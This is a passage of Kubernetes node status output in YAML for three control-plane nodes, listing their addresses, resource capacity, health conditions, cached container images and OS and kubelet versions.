  kind: Node
  metadata:
    annotations:
      csi.volume.kubernetes.io/nodeid: '{"csi.tigera.io":"k8s-m-1"}'
      kubeadm.alpha.kubernetes.io/cri-socket: unix:///var/run/containerd/containerd.sock
      node.alpha.kubernetes.io/ttl: "0"
      projectcalico.org/IPv4Address: 172.16.30.16/24
      projectcalico.org/IPv4IPIPTunnelAddr: 192.168.133.128
      volumes.kubernetes.io/controller-managed-attach-detach: "true"
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      beta.kubernetes.io/arch: amd64
      beta.kubernetes.io/os: linux
      kubernetes.io/arch: amd64
      kubernetes.io/hostname: k8s-m-1
      kubernetes.io/os: linux
      node-role.kubernetes.io/control-plane: ""
      node.kubernetes.io/exclude-from-external-load-balancers: ""
    name: k8s-m-1
    resourceVersion: "18062273"
    uid: 0434bec2-2cdd-40cf-be92-8aa574512d57
  spec:
    podCIDR: 192.168.0.0/24
    podCIDRs:
    - 192.168.0.0/24
  status:
    addresses:
    - address: 172.16.30.16
      type: InternalIP
    - address: k8s-m-1
      type: Hostname
    allocatable:
      cpu: "6"
      ephemeral-storage: "29363602589"
      hugepages-2Mi: "0"
      memory: 8028348Ki
      pods: "110"
    capacity:
      cpu: "6"
      ephemeral-storage: 31861548Ki
      hugepages-2Mi: "0"
      memory: 8130748Ki
      pods: "110"
    conditions:
    - lastHeartbeatTime: "2025-11-29T11:13:59Z"
      lastTransitionTime: "2025-11-29T11:13:59Z"
      message: Calico is running on this node
      reason: CalicoIsUp
      status: "False"
      type: NetworkUnavailable
    - lastHeartbeatTime: "2025-11-29T15:48:32Z"
      lastTransitionTime: "2025-11-29T11:12:58Z"
      message: kubelet has sufficient memory available
      reason: KubeletHasSufficientMemory
      status: "False"
      type: MemoryPressure
    - lastHeartbeatTime: "2025-11-29T15:48:32Z"
      lastTransitionTime: "2025-11-29T11:12:58Z"
      message: kubelet has no disk pressure
      reason: KubeletHasNoDiskPressure
      status: "False"
      type: DiskPressure
    - lastHeartbeatTime: "2025-11-29T15:48:32Z"
      lastTransitionTime: "2025-11-29T11:12:58Z"
      message: kubelet has sufficient PID available
      reason: KubeletHasSufficientPID
      status: "False"
      type: PIDPressure
    - lastHeartbeatTime: "2025-11-29T15:48:32Z"
      lastTransitionTime: "2025-11-29T11:12:58Z"
      message: kubelet is posting ready status
      reason: KubeletReady
      status: "True"
      type: Ready
    daemonEndpoints:
      kubeletEndpoint:
        Port: 10250
    images:
    - names:
      - docker.io/library/wordpress@sha256:4046f5595cb7a9a094edfbecaaf0c5703d5d1773b8da2901a85c8d9e2b8fcef7
      - docker.io/library/wordpress:6.8.3-apache
      sizeBytes: 263484878
    - names:
      - quay.io/argoproj/argocd@sha256:76290eb39df4b9b6bd6afb5d6038bb18a208b14b468bff329b9edc8f9b2aa714
      - quay.io/argoproj/argocd:v3.1.6
      sizeBytes: 194135886
    - names:
      - registry-1.docker.io/bitnami/wordpress@sha256:2b2babc81d90d64d7e50cf9932cef4e5d2a466fd634387d1bac9bc1a71ffce1c
      - registry-1.docker.io/bitnami/wordpress:latest
      sizeBytes: 161010034
    - names:
      - docker.io/calico/node@sha256:92d8bcca3280cd27b9c98cb6e70c3af10ad6ff8accd288919b04ae0cd6021c2e
      - docker.io/calico/node:v3.30.3
      sizeBytes: 157078821
    - names:
      - quay.io/calico/node@sha256:362f10b69142fcc654c0ab65a5f371923f9a1d8f7772eac0ff223b9dc67704de
      - quay.io/calico/node:v3.30.4
      sizeBytes: 156884157
    - names:
      - docker.io/envoyproxy/envoy@sha256:524a8bfd4ca3acc9531c99f8147a9fbd1465e173c71ffa9e086cca7c01a35cec
      - docker.io/envoyproxy/envoy:tools-v1.36-latest
      sizeBytes: 154480892
    - names:
      - docker.io/library/cassandra@sha256:5aa8400b4b3b794b5eba85f79b75a9ed9326e41428ae3a9d6b91cd731f2cf768
      - docker.io/library/cassandra:3.11.6
      sizeBytes: 130614920
    - names:
      - docker.io/goharbor/trivy-adapter-photon@sha256:ac04556fe3c25a9e136eba1392046c65994e91f3c706ba16464d2ef97ddf783a
      - docker.io/goharbor/trivy-adapter-photon:v2.14.0
      sizeBytes: 129783125
    - names:
      - quay.io/prometheus/prometheus@sha256:76947e7ef22f8a698fc638f706685909be425dbe09bd7a2cd7aca849f79b5f64
      - quay.io/prometheus/prometheus:v3.6.0
      sizeBytes: 123881827
    - names:
      - docker.io/library/kong@sha256:a9130d1843e6740a33b7ea270f4b21e8adcbb0fb3041faefc2a226c74e6f80ff
      - docker.io/library/kong:3.8
      sizeBytes: 117557700
    - names:
      - docker.io/goharbor/harbor-db@sha256:1d49b4b5c8c0416647f28cb5b1353e0adf24c768994e79a2b1c2cdf90f8f2309
      - docker.io/goharbor/harbor-db:v2.14.0
      sizeBytes: 107677357
    - names:
      - docker.io/calico/cni@sha256:c7c80d82dc4f85ac4d7f2345c940bc7f818bbea03c2043df89923c032d8ee7fc
      - docker.io/calico/cni:v3.26.0
      sizeBytes: 93344043
    - names:
      - docker.io/calico/node@sha256:5086f1ef0287886811fea4d545a4bbb75d9345367b1b1ad1aa4447af2ecbc4ea
      - docker.io/calico/node:v3.26.0
      sizeBytes: 87586062
    - names:
      - quay.io/frrouting/frr@sha256:f310c2ebb3827fa03b9674ee05e70a7d5eef2123bcc3b475eb2ef14dafcb52b4
      - quay.io/frrouting/frr:9.1.0
      sizeBytes: 80293937
    - names:
      - quay.io/calico/cni@sha256:807aa264f01c9b9a8c5d26d5ba4fcbc428ab1b8b9798eeac04a64f4930a30c25
      - quay.io/calico/cni:v3.30.4
      sizeBytes: 71942077
    - names:
      - docker.io/calico/cni@sha256:b32ac832411b188a8adc9e31b3e23cbbecd6d63c182a3802e947303f97c2f700
      - docker.io/calico/cni:v3.30.3
      sizeBytes: 71933934
    - names:
      - docker.io/goharbor/harbor-registryctl@sha256:c5280fadd198d9efc58ed12e77531abbe79f807a52091ef1df26e7268c1b8c81
      - docker.io/goharbor/harbor-registryctl:v2.14.0
      sizeBytes: 69225768
    - names:
      - docker.io/envoyproxy/envoy@sha256:4972515dd9a069b44beb43cebba7851596e72a8c61cd7a7c33d8f48efc5280ba
      - docker.io/envoyproxy/envoy:v1.36-latest
      - docker.io/envoyproxy/envoy:v1.36.2
      sizeBytes: 61630169
    - names:
      - quay.io/metallb/speaker@sha256:260c9406f957c0830d4e6cd2e9ac8c05e51ac959dd2462c4c2269ac43076665a
      - quay.io/metallb/speaker:v0.15.2
      sizeBytes: 59823950
    - names:
      - registry.k8s.io/etcd@sha256:d58c035df557080a27387d687092e3fc2b64c6d0e3162dc51453a115f847d121
      - registry.k8s.io/etcd:3.5.21-0
      sizeBytes: 58938593
    - names:
      - docker.io/envoyproxy/envoy@sha256:2bf7f042e3960e3904864cb09c174498e20a06859a5c394b7e3a6528a649b1da
      - docker.io/envoyproxy/envoy:v1.31.0
      sizeBytes: 56635959
    - names:
      - docker.io/goharbor/harbor-portal@sha256:acfd27abbe0a403f61a04e991a6141958393ad34f44dba629f80e6a56cb143a9
      - docker.io/goharbor/harbor-portal:v2.14.0
      sizeBytes: 53523947
    - names:
      - quay.io/calico/kube-controllers@sha256:27d1abbc433b9f72c50fd3b1fcd29b674f6a0c6eee84938a0b6d9cf8ac5e85ff
      - quay.io/calico/kube-controllers:v3.30.4
      sizeBytes: 52787974
    - names:
      - docker.io/calico/kube-controllers@sha256:b9df43a10ec4cc40ab95779f646d1f9c1675259b3baacf883f5247333bb6385d
      - docker.io/calico/kube-controllers:v3.30.3
      sizeBytes: 52771035
    - names:
      - registry-1.docker.io/bitnami/redis@sha256:142ab4d0c251bcf5466fffd33766350af718a6725cb926710be19fad00b2b035
      - registry-1.docker.io/bitnami/redis:latest
      sizeBytes: 46287104
    - names:
      - ghcr.io/dexidp/dex@sha256:5d0656fce7d453c0e3b2706abf40c0d0ce5b371fb0b73b3cf714d05f35fa5f86
      - ghcr.io/dexidp/dex:v2.44.0
      sizeBytes: 45872393
    - names:
      - docker.io/hashicorp/vault-k8s@sha256:8c18ccc87fd72930fd0c3f12ea444e9e57e83f119b93c546ed047aba29a05c5f
      - docker.io/hashicorp/vault-k8s:1.7.0
      sizeBytes: 38808816
    - names:
      - docker.io/calico/typha@sha256:0468e1a3f8f228e3a518f005bcf4cd46a0e32c767ee9f73bbc94fe40a5202658
      - docker.io/calico/typha:v3.30.3
      sizeBytes: 35237861
    - names:
      - quay.io/calico/typha@sha256:8bb31fa2ba799cfe37451534be29e09598982451374f8ce41133171eb6070777
      - quay.io/calico/typha:v3.30.4
      sizeBytes: 35235100
    - names:
      - docker.io/goharbor/registry-photon@sha256:b20f12d92b0f5126dc1e5d5f9f861f54d023e18f2a759d5a027b3efcc401e6d1
      - docker.io/goharbor/registry-photon:v2.14.0
      sizeBytes: 33507856
    - names:
      - quay.io/calico/whisker-backend@sha256:e67ef5e60f91969cbc04c2a7dd0b653ef1089865616448b2ec839e4c3ac892b6
      - quay.io/calico/whisker-backend:v3.30.4
      sizeBytes: 33085240
    - names:
      - registry.k8s.io/kube-proxy@sha256:71445ec84ad98bd52a7784865a9d31b1b50b56092d3f7699edc39eefd71befe1
      - registry.k8s.io/kube-proxy:v1.33.5
      sizeBytes: 31928488
    - names:
      - quay.io/metallb/controller@sha256:417cdb6d6f9f2c410cceb84047d3a4da3bfb78b5ddfa30f4cf35ea5c667e8c2e
      - quay.io/metallb/controller:v0.15.2
      sizeBytes: 31685474
    - names:
      - docker.io/jaegertracing/jaeger-query@sha256:049bb0d64ea3e075c1b5ebc2cdb44a3eddd631275e46a3a9e56c564b92c5486c
      - docker.io/jaegertracing/jaeger-query:1.53.0
      sizeBytes: 31359437
    - names:
      - registry.k8s.io/kube-apiserver@sha256:1b9c6c00bc1fe86860e72efb8e4148f9e436a132eba4ca636ca4f48d61d6dfb4
      - registry.k8s.io/kube-apiserver:v1.33.5
      sizeBytes: 30111492
    - names:
      - docker.io/jaegertracing/jaeger-collector@sha256:7f126922290349b26930f4ed2f4bfcd14a034a619863386acdf4d81fc93d435b
      - docker.io/jaegertracing/jaeger-collector:1.53.0
      sizeBytes: 28712661
    - names:
      - registry.k8s.io/kube-controller-manager@sha256:1082a6ab67fb46397314dd36b36cb197ba4a4c5365033e9ad22bc7edaaaabd5c
      - registry.k8s.io/kube-controller-manager:v1.33.5
      sizeBytes: 27681301
    - names:
      - quay.io/tigera/operator@sha256:00a7a9b62f9b9a4e0856128b078539783b8352b07f707bff595cb604cc580f6e
      - quay.io/tigera/operator:v1.38.6
      sizeBytes: 25058604
    - names:
      - registry.k8s.io/metrics-server/metrics-server@sha256:89258156d0e9af60403eafd44da9676fd66f600c7934d468ccc17e42b199aee2
      - registry.k8s.io/metrics-server/metrics-server:v0.8.0
      sizeBytes: 22493802
    - names:
      - registry.k8s.io/kube-scheduler@sha256:3e7b57c9d9f06b77f0064e5be7f3df61e0151101160acd5fdecce911df28a189
      - registry.k8s.io/kube-scheduler:v1.33.5
      sizeBytes: 21816043
    - names:
      - registry.k8s.io/coredns/coredns@sha256:40384aa1f5ea6bfdc77997d243aec73da05f27aed0c5e9d65bfa98933c519d97
      - registry.k8s.io/coredns/coredns:v1.12.0
      sizeBytes: 20939036
    - names:
      - registry.k8s.io/kube-state-metrics/kube-state-metrics@sha256:2bbc915567334b13632bf62c0a97084aff72a36e13c4dabd5f2f11c898c5bacd
      - registry.k8s.io/kube-state-metrics/kube-state-metrics:v2.17.0
      sizeBytes: 18895170
    - names:
      - quay.io/jetstack/cert-manager-webhook@sha256:9431f0d8b5103b06cc6138564f471ac02c6b2638c2fa399d81e28a01d817ae73
      - quay.io/jetstack/cert-manager-webhook:v1.18.2
      sizeBytes: 18891327
    - names:
      - docker.io/library/python@sha256:d82291d418d5c47f267708393e40599ae836f2260b0519dd38670e9d281657f5
      - docker.io/library/python:3.12-alpine
      sizeBytes: 17961621
    - names:
      - registry.k8s.io/sig-storage/nfs-subdir-external-provisioner@sha256:63d5e04551ec8b5aae83b6f35938ca5ddc50a88d85492d9731810c31591fa4c9
      - registry.k8s.io/sig-storage/nfs-subdir-external-provisioner:v4.0.2
      sizeBytes: 17904239
    - names:
      - ecr-public.aws.com/docker/library/redis@sha256:c88ea2979a49ca497bbf7d39241b237f86c98e58cb2f6b1bc2dd167621f819bb
      - ecr-public.aws.com/docker/library/redis:7.2.8-alpine
      sizeBytes: 16851748
    - names:
      - quay.io/calico/node-driver-registrar@sha256:08b89eaa7ddb34b40347b762f4a1bc37e590bd984dfc2fb68a288cf41eaaa7b8
      - quay.io/calico/node-driver-registrar:v3.30.4
      sizeBytes: 16193217
    - names:
      - quay.io/jetstack/cert-manager-cainjector@sha256:af59e01ad9756a1034fbf948330e75702e5d79b3577f323f6a9947707ba262fc
      - quay.io/jetstack/cert-manager-cainjector:v1.18.2
      sizeBytes: 16005870
    - names:
      - docker.io/jaegertracing/jaeger-agent@sha256:0214a0ef24b15cb31c34dc2599b0ae9cc01209a1e8fd6d3bcc36e51d10d09e7b
      - docker.io/jaegertracing/jaeger-agent:1.53.0
      sizeBytes: 15960708
    - names:
      - quay.io/prometheus-operator/prometheus-config-reloader@sha256:ebb560bcb6bd3ab728a7ab61d77d22a001cc0c7a67f0531e7f92e20ce004de38
      - quay.io/prometheus-operator/prometheus-config-reloader:v0.85.0
      sizeBytes: 15132461
    nodeInfo:
      architecture: amd64
      bootID: ebbc9488-69c4-42cf-9c6a-0e147bd0f2c8
      containerRuntimeVersion: containerd://1.7.27
      kernelVersion: 6.1.0-39-amd64
      kubeProxyVersion: ""
      kubeletVersion: v1.33.5
      machineID: c98856acda6444a3b2512310f385c90b
      operatingSystem: linux
      osImage: Debian GNU/Linux 12 (bookworm)
      systemUUID: 83190ff9-ac55-45af-bf15-062e67a27b77
- apiVersion: v1
  kind: Node
  metadata:
    annotations:
      csi.volume.kubernetes.io/nodeid: '{"csi.tigera.io":"k8s-m-2"}'
      kubeadm.alpha.kubernetes.io/cri-socket: unix:///var/run/containerd/containerd.sock
      node.alpha.kubernetes.io/ttl: "0"
      projectcalico.org/IPv4Address: 172.16.30.17/24
      projectcalico.org/IPv4IPIPTunnelAddr: 192.168.61.192
      volumes.kubernetes.io/controller-managed-attach-detach: "true"
    creationTimestamp: "2025-09-21T11:16:27Z"
    labels:
      beta.kubernetes.io/arch: amd64
      beta.kubernetes.io/os: linux
      kubernetes.io/arch: amd64
      kubernetes.io/hostname: k8s-m-2
      kubernetes.io/os: linux
      node-role.kubernetes.io/control-plane: ""
      node.kubernetes.io/exclude-from-external-load-balancers: ""
    name: k8s-m-2
    resourceVersion: "18061878"
    uid: febaead2-efbe-4419-9e77-b195397e2090
  spec:
    podCIDR: 192.168.1.0/24
    podCIDRs:
    - 192.168.1.0/24
  status:
    addresses:
    - address: 172.16.30.17
      type: InternalIP
    - address: k8s-m-2
      type: Hostname
    allocatable:
      cpu: "6"
      ephemeral-storage: "29363602589"
      hugepages-2Mi: "0"
      memory: 8028344Ki
      pods: "110"
    capacity:
      cpu: "6"
      ephemeral-storage: 31861548Ki
      hugepages-2Mi: "0"
      memory: 8130744Ki
      pods: "110"
    conditions:
    - lastHeartbeatTime: "2025-11-29T13:23:41Z"
      lastTransitionTime: "2025-11-29T13:23:41Z"
      message: Calico is running on this node
      reason: CalicoIsUp
      status: "False"
      type: NetworkUnavailable
    - lastHeartbeatTime: "2025-11-29T15:46:26Z"
      lastTransitionTime: "2025-11-29T13:23:26Z"
      message: kubelet has sufficient memory available
      reason: KubeletHasSufficientMemory
      status: "False"
      type: MemoryPressure
    - lastHeartbeatTime: "2025-11-29T15:46:26Z"
      lastTransitionTime: "2025-11-29T13:23:26Z"
      message: kubelet has no disk pressure
      reason: KubeletHasNoDiskPressure
      status: "False"
      type: DiskPressure
    - lastHeartbeatTime: "2025-11-29T15:46:26Z"
      lastTransitionTime: "2025-11-29T13:23:26Z"
      message: kubelet has sufficient PID available
      reason: KubeletHasSufficientPID
      status: "False"
      type: PIDPressure
    - lastHeartbeatTime: "2025-11-29T15:46:26Z"
      lastTransitionTime: "2025-11-29T13:23:26Z"
      message: kubelet is posting ready status
      reason: KubeletReady
      status: "True"
      type: Ready
    daemonEndpoints:
      kubeletEndpoint:
        Port: 10250
    images:
    - names:
      - docker.io/library/wordpress@sha256:d34b44296d24686bf1a9c70c435b1640202e8e97d824aad9997fc63a61ac5cbb
      - docker.io/library/wordpress:6.8.3-apache
      sizeBytes: 263486608
    - names:
      - quay.io/argoproj/argocd@sha256:76290eb39df4b9b6bd6afb5d6038bb18a208b14b468bff329b9edc8f9b2aa714
      - quay.io/argoproj/argocd:v3.1.6
      sizeBytes: 194135886
    - names:
      - docker.io/hashicorp/vault@sha256:50e1ecbe385742293c4a7e18c90f55d4dcc39724a05c6ab35933305fe7622cf3
      - docker.io/hashicorp/vault:1.20.1
      sizeBytes: 186266184
    - names:
      - docker.io/library/postgres@sha256:e6a4209d1a4893f2df3bdcde58f8926c3c929c4d51df90990ed1b36d83c1382a
      - docker.io/library/postgres:17.6
      sizeBytes: 161139325
    - names:
      - registry-1.docker.io/bitnami/wordpress@sha256:2b2babc81d90d64d7e50cf9932cef4e5d2a466fd634387d1bac9bc1a71ffce1c
      - registry-1.docker.io/bitnami/wordpress:latest
      sizeBytes: 161010034
    - names:
      - docker.io/calico/node@sha256:92d8bcca3280cd27b9c98cb6e70c3af10ad6ff8accd288919b04ae0cd6021c2e
      - docker.io/calico/node:v3.30.3
      sizeBytes: 157078821
    - names:
      - quay.io/calico/node@sha256:362f10b69142fcc654c0ab65a5f371923f9a1d8f7772eac0ff223b9dc67704de
      - quay.io/calico/node:v3.30.4
      sizeBytes: 156884157
    - names:
      - docker.io/envoyproxy/envoy@sha256:524a8bfd4ca3acc9531c99f8147a9fbd1465e173c71ffa9e086cca7c01a35cec
      - docker.io/envoyproxy/envoy:tools-v1.36-latest
      sizeBytes: 154480892
    - names:
      - docker.io/library/cassandra@sha256:5aa8400b4b3b794b5eba85f79b75a9ed9326e41428ae3a9d6b91cd731f2cf768
      - docker.io/library/cassandra:3.11.6
      sizeBytes: 130614920
    - names:
      - quay.io/prometheus/prometheus@sha256:76947e7ef22f8a698fc638f706685909be425dbe09bd7a2cd7aca849f79b5f64
      - quay.io/prometheus/prometheus:v3.6.0
      sizeBytes: 123881827
    - names:
      - registry.k8s.io/ingress-nginx/controller@sha256:1f7eaeb01933e719c8a9f4acd8181e555e582330c7d50f24484fb64d2ba9b2ef
      sizeBytes: 115287729
    - names:
      - docker.io/goharbor/harbor-db@sha256:1d49b4b5c8c0416647f28cb5b1353e0adf24c768994e79a2b1c2cdf90f8f2309
      - docker.io/goharbor/harbor-db:v2.14.0
      sizeBytes: 107677357
    - names:
      - docker.io/calico/cni@sha256:c7c80d82dc4f85ac4d7f2345c940bc7f818bbea03c2043df89923c032d8ee7fc
      - docker.io/calico/cni:v3.26.0
      sizeBytes: 93344043
    - names:
      - docker.io/calico/node@sha256:5086f1ef0287886811fea4d545a4bbb75d9345367b1b1ad1aa4447af2ecbc4ea
      - docker.io/calico/node:v3.26.0
      sizeBytes: 87586062
    - names:
      - quay.io/frrouting/frr@sha256:f310c2ebb3827fa03b9674ee05e70a7d5eef2123bcc3b475eb2ef14dafcb52b4
      - quay.io/frrouting/frr:9.1.0
      sizeBytes: 80293937
    - names:
      - docker.io/goharbor/harbor-jobservice@sha256:c31385fbb17c2186e071945e462e1042deb6be2abd02492ca6c96498e602b4f3
      - docker.io/goharbor/harbor-jobservice:v2.14.0
      sizeBytes: 74811158
    - names:
      - quay.io/calico/cni@sha256:807aa264f01c9b9a8c5d26d5ba4fcbc428ab1b8b9798eeac04a64f4930a30c25
      - quay.io/calico/cni:v3.30.4
      sizeBytes: 71942077
    - names:
      - docker.io/calico/cni@sha256:b32ac832411b188a8adc9e31b3e23cbbecd6d63c182a3802e947303f97c2f700
      - docker.io/calico/cni:v3.30.3
      sizeBytes: 71933934
    - names:
      - docker.io/goharbor/harbor-registryctl@sha256:c5280fadd198d9efc58ed12e77531abbe79f807a52091ef1df26e7268c1b8c81
      - docker.io/goharbor/harbor-registryctl:v2.14.0
      sizeBytes: 69225768
    - names:
      - docker.io/goharbor/harbor-core@sha256:0ce3d295ff74d669fbbf5b1da43135a8bc2950177a8fb5432f588ed43ee79d82
      - docker.io/goharbor/harbor-core:v2.14.0
      sizeBytes: 65214606
    - names:
      - docker.io/kubernetesui/dashboard-web@sha256:cc7c31bd2d8470e3590dcb20fe980769b43054b31a5c5c0da606e9add898d85d
      - docker.io/kubernetesui/dashboard-web:1.7.0
      sizeBytes: 62497108
    - names:
      - docker.io/envoyproxy/envoy@sha256:4972515dd9a069b44beb43cebba7851596e72a8c61cd7a7c33d8f48efc5280ba
      - docker.io/envoyproxy/envoy:v1.36-latest
      - docker.io/envoyproxy/envoy:v1.36.2
      sizeBytes: 61630169
    - names:
      - quay.io/metallb/speaker@sha256:260c9406f957c0830d4e6cd2e9ac8c05e51ac959dd2462c4c2269ac43076665a
      - quay.io/metallb/speaker:v0.15.2
      sizeBytes: 59823950
    - names:
      - registry.k8s.io/etcd@sha256:d58c035df557080a27387d687092e3fc2b64c6d0e3162dc51453a115f847d121
      - registry.k8s.io/etcd:3.5.21-0
      sizeBytes: 58938593
    - names:
      - docker.io/envoyproxy/envoy@sha256:2bf7f042e3960e3904864cb09c174498e20a06859a5c394b7e3a6528a649b1da
      - docker.io/envoyproxy/envoy:v1.31.0
      sizeBytes: 56635959
    - names:
      - docker.io/goharbor/harbor-portal@sha256:acfd27abbe0a403f61a04e991a6141958393ad34f44dba629f80e6a56cb143a9
      - docker.io/goharbor/harbor-portal:v2.14.0
      sizeBytes: 53523947
    - names:
      - quay.io/calico/kube-controllers@sha256:27d1abbc433b9f72c50fd3b1fcd29b674f6a0c6eee84938a0b6d9cf8ac5e85ff
      - quay.io/calico/kube-controllers:v3.30.4
      sizeBytes: 52787974
    - names:
      - registry-1.docker.io/bitnami/redis@sha256:142ab4d0c251bcf5466fffd33766350af718a6725cb926710be19fad00b2b035
      - registry-1.docker.io/bitnami/redis:latest
      sizeBytes: 46287104
    - names:
      - ghcr.io/dexidp/dex@sha256:5d0656fce7d453c0e3b2706abf40c0d0ce5b371fb0b73b3cf714d05f35fa5f86
      - ghcr.io/dexidp/dex:v2.44.0
      sizeBytes: 45872393
    - names:
      - quay.io/calico/typha@sha256:8bb31fa2ba799cfe37451534be29e09598982451374f8ce41133171eb6070777
      - quay.io/calico/typha:v3.30.4
      sizeBytes: 35235100
    - names:
      - quay.io/prometheus/alertmanager@sha256:27c475db5fb156cab31d5c18a4251ac7ed567746a2483ff264516437a39b15ba
      - quay.io/prometheus/alertmanager:v0.28.1
      sizeBytes: 35015543
    - names:
      - docker.io/calico/kube-controllers@sha256:a097a09cd7523e6a2ad5b6f7566e68ece5827a77fcbc631d6c34d6d092db4aaa
      - docker.io/calico/kube-controllers:v3.26.0
      sizeBytes: 33826509
    - names:
      - docker.io/goharbor/registry-photon@sha256:b20f12d92b0f5126dc1e5d5f9f861f54d023e18f2a759d5a027b3efcc401e6d1
      - docker.io/goharbor/registry-photon:v2.14.0
      sizeBytes: 33507856
    - names:
      - quay.io/calico/whisker-backend@sha256:e67ef5e60f91969cbc04c2a7dd0b653ef1089865616448b2ec839e4c3ac892b6
      - quay.io/calico/whisker-backend:v3.30.4
      sizeBytes: 33085240
    - names:
      - registry.k8s.io/kube-proxy@sha256:71445ec84ad98bd52a7784865a9d31b1b50b56092d3f7699edc39eefd71befe1
      - registry.k8s.io/kube-proxy:v1.33.5
      sizeBytes: 31928488
    - names:
      - quay.io/metallb/controller@sha256:417cdb6d6f9f2c410cceb84047d3a4da3bfb78b5ddfa30f4cf35ea5c667e8c2e
      - quay.io/metallb/controller:v0.15.2
      sizeBytes: 31685474
    - names:
      - docker.io/jaegertracing/jaeger-query@sha256:049bb0d64ea3e075c1b5ebc2cdb44a3eddd631275e46a3a9e56c564b92c5486c
      - docker.io/jaegertracing/jaeger-query:1.53.0
      sizeBytes: 31359437
    - names:
      - registry.k8s.io/kube-apiserver@sha256:1b9c6c00bc1fe86860e72efb8e4148f9e436a132eba4ca636ca4f48d61d6dfb4
      - registry.k8s.io/kube-apiserver:v1.33.5
      sizeBytes: 30111492
    - names:
      - docker.io/jaegertracing/jaeger-collector@sha256:7f126922290349b26930f4ed2f4bfcd14a034a619863386acdf4d81fc93d435b
      - docker.io/jaegertracing/jaeger-collector:1.53.0
      sizeBytes: 28712661
    - names:
      - registry.k8s.io/kube-controller-manager@sha256:1082a6ab67fb46397314dd36b36cb197ba4a4c5365033e9ad22bc7edaaaabd5c
      - registry.k8s.io/kube-controller-manager:v1.33.5
      sizeBytes: 27681301
    - names:
      - registry.k8s.io/metrics-server/metrics-server@sha256:89258156d0e9af60403eafd44da9676fd66f600c7934d468ccc17e42b199aee2
      - registry.k8s.io/metrics-server/metrics-server:v0.8.0
      sizeBytes: 22493802
    - names:
      - registry.k8s.io/kube-scheduler@sha256:3e7b57c9d9f06b77f0064e5be7f3df61e0151101160acd5fdecce911df28a189
      - registry.k8s.io/kube-scheduler:v1.33.5
      sizeBytes: 21816043
    - names:
      - registry.k8s.io/coredns/coredns@sha256:40384aa1f5ea6bfdc77997d243aec73da05f27aed0c5e9d65bfa98933c519d97
      - registry.k8s.io/coredns/coredns:v1.12.0
      sizeBytes: 20939036
    - names:
      - registry.k8s.io/kube-state-metrics/kube-state-metrics@sha256:2bbc915567334b13632bf62c0a97084aff72a36e13c4dabd5f2f11c898c5bacd
      - registry.k8s.io/kube-state-metrics/kube-state-metrics:v2.17.0
      sizeBytes: 18895170
    - names:
      - docker.io/kubernetesui/dashboard-api@sha256:96642ed8d9e27c13afafd045fb79c67fa98887416a13d497bdad9815e313262e
      - docker.io/kubernetesui/dashboard-api:1.13.0
      sizeBytes: 16628035
    - names:
      - quay.io/calico/node-driver-registrar@sha256:08b89eaa7ddb34b40347b762f4a1bc37e590bd984dfc2fb68a288cf41eaaa7b8
      - quay.io/calico/node-driver-registrar:v3.30.4
      sizeBytes: 16193217
    - names:
      - docker.io/jaegertracing/jaeger-agent@sha256:0214a0ef24b15cb31c34dc2599b0ae9cc01209a1e8fd6d3bcc36e51d10d09e7b
      - docker.io/jaegertracing/jaeger-agent:1.53.0
      sizeBytes: 15960708
    - names:
      - quay.io/prometheus-operator/prometheus-config-reloader@sha256:ebb560bcb6bd3ab728a7ab61d77d22a001cc0c7a67f0531e7f92e20ce004de38
      - quay.io/prometheus-operator/prometheus-config-reloader:v0.85.0
      sizeBytes: 15132461
    - names:
      - docker.io/kubernetesui/dashboard-auth@sha256:8641c111b9d7e4d5ae502b2afc56765b624a42071ba5b612a01a108827730673
      - docker.io/kubernetesui/dashboard-auth:1.3.0
      sizeBytes: 14451017
    - names:
      - quay.io/prometheus/node-exporter@sha256:d00a542e409ee618a4edc67da14dd48c5da66726bbd5537ab2af9c1dfc442c8a
      - quay.io/prometheus/node-exporter:v1.9.1
      sizeBytes: 12955907
    nodeInfo:
      architecture: amd64
      bootID: ab6e614c-10ed-467d-b91c-6c72843de723
      containerRuntimeVersion: containerd://1.7.27
      kernelVersion: 6.1.0-39-amd64
      kubeProxyVersion: ""
      kubeletVersion: v1.33.5
      machineID: 6d08a475e6aa4dd29c627092c7b6d810
      operatingSystem: linux
      osImage: Debian GNU/Linux 12 (bookworm)
      systemUUID: e17a5234-4b86-4d0c-9e31-d4731bfade34
- apiVersion: v1
  kind: Node
  metadata:
    annotations:
      csi.volume.kubernetes.io/nodeid: '{"csi.tigera.io":"k8s-m-3"}'
      kubeadm.alpha.kubernetes.io/cri-socket: unix:///var/run/containerd/containerd.sock
      node.alpha.kubernetes.io/ttl: "0"
      projectcalico.org/IPv4Address: 172.16.30.18/24
      projectcalico.org/IPv4IPIPTunnelAddr: 192.168.34.0
      volumes.kubernetes.io/controller-managed-attach-detach: "true"
    creationTimestamp: "2025-09-21T11:18:13Z"
    labels:
      beta.kubernetes.io/arch: amd64
      beta.kubernetes.io/os: linux
      kubernetes.io/arch: amd64
      kubernetes.io/hostname: k8s-m-3
      kubernetes.io/os: linux
      node-role.kubernetes.io/control-plane: ""
      node.kubernetes.io/exclude-from-external-load-balancers: ""
    name: k8s-m-3
    resourceVersion: "18061821"
    uid: e9941774-8efa-42ec-abc7-595360d866d1
  spec:
    podCIDR: 192.168.2.0/24
    podCIDRs:
    - 192.168.2.0/24
  status:
    addresses:
    - address: 172.16.30.18
      type: InternalIP
    - address: k8s-m-3
      type: Hostname
    allocatable:
      cpu: "4"
      ephemeral-storage: "29363602589"
      hugepages-2Mi: "0"
      memory: 5964464Ki
      pods: "110"
    capacity:
      cpu: "4"
      ephemeral-storage: 31861548Ki
      hugepages-2Mi: "0"
      memory: 6066864Ki
      pods: "110"
    conditions:
    - lastHeartbeatTime: "2025-11-29T14:25:36Z"
      lastTransitionTime: "2025-11-29T14:25:36Z"
      message: Calico is running on this node
      reason: CalicoIsUp
      status: "False"
      type: NetworkUnavailable
    - lastHeartbeatTime: "2025-11-29T15:46:09Z"
      lastTransitionTime: "2025-11-29T14:24:33Z"
      message: kubelet has sufficient memory available
      reason: KubeletHasSufficientMemory
      status: "False"
      type: MemoryPressure
    - lastHeartbeatTime: "2025-11-29T15:46:09Z"
      lastTransitionTime: "2025-11-29T14:24:33Z"
      message: kubelet has no disk pressure
      reason: KubeletHasNoDiskPressure
      status: "False"
      type: DiskPressure
    - lastHeartbeatTime: "2025-11-29T15:46:09Z"
      lastTransitionTime: "2025-11-29T14:24:33Z"
      message: kubelet has sufficient PID available
      reason: KubeletHasSufficientPID
      status: "False"
      type: PIDPressure
    - lastHeartbeatTime: "2025-11-29T15:46:09Z"
